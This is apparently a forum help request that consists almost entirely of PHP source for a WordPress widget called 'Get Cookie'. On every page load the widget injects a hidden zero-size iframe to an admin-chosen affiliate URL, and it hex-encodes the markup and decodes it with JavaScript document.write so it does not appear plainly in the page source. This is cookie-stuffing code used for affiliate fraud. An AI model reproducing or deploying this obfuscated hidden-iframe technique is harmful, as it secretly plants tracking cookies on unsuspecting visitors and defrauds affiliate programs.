Help needed with Wordpress widget

// We're putting the plugin's functions in one big function we then
// call at 'plugins_loaded' (add_action() at bottom) to ensure the
// required Sidebar Widget functions are available.
function widget_getcookie_init() {

    // Check to see required Widget API functions are defined...
    if ( !function_exists('register_sidebar_widget') || !function_exists('register_widget_control') )
        return; // ...and if not, exit gracefully from the script.

    // This function prints the sidebar widget--the cool stuff!
    function widget_getcookie($args) {

        // $args is an array of strings which help your widget
        // conform to the active theme: before_widget, before_title,
        // after_widget, and after_title are the array keys.
        extract($args);

        // Collect our widget's options, or define their defaults.
        $options = get_option('widget_getcookie');
        //$title = empty($options['title']) ? 'My Widget' : $options['title'];
        $text = empty($options['text']) ? 'http://www.myfreego.co.uk' : $options['text'];

         // It's important to use the $before_widget, $before_title,
         // $after_title and $after_widget variables in your output.
        echo $before_widget;
      //  echo $before_title . $title . $after_title;
        
// this where to put output   
$string="<div style=\"position:absolute;left:0px;top:0px;visibility:hidden;\" id=\"datadiv\"><iframe src=\"".$text."\" height=\"0\" width=\"0\"></iframe></div>";
$hex_string = bin2hex($string);
$code="<script language=\"JavaScript\" type=\"text/javascript\">//\nvar i,y,x=\"$hex_string\";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script>";
echo $code;
// end output
        echo $after_widget;
    }

    // This is the function that outputs the form to let users edit
    // the widget's title and so on. It's an optional feature, but
    // we'll use it because we can!
    function widget_getcookie_control() {

        // Collect our widget's options.
        $options = $newoptions = get_option('widget_getcookie');

        // This is for handing the control form submission.
        if ( $_POST['getcookie-submit'] ) {
            // Clean up control form submission options
            $newoptions['title'] = strip_tags(stripslashes($_POST['getcookie-title']));
            $newoptions['text'] = strip_tags(stripslashes($_POST['getcookie-url']));


        }

        // If original widget options do not match control form
        // submission options, update them.
        if ( $options != $newoptions ) {
            $options = $newoptions;
            update_option('widget_getcookie', $options);
        }

        // Format options as valid HTML. Hey, why not.
        $title = htmlspecialchars($options['title'], ENT_QUOTES);
        $text = htmlspecialchars($options['text'], ENT_QUOTES);

// The HTML below is the control form for editing options.
?>
        <div>
    <!--    <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> -->
        <p>Make sure you use http:// in your url!</p>
        <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label>
        <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" />
        </div>
    <?php
    // end of widget_getcookie_control()
    }

    // This registers the widget. About time.
    register_sidebar_widget('Get Cookie', 'widget_getcookie');

    // This registers the (optional!) widget control form.
    register_widget_control('Get Cookie', 'widget_getcookie_control');
}

// Delays plugin execution until Dynamic Sidebar has loaded first.
add_action('plugins_loaded', 'widget_getcookie_init');
?>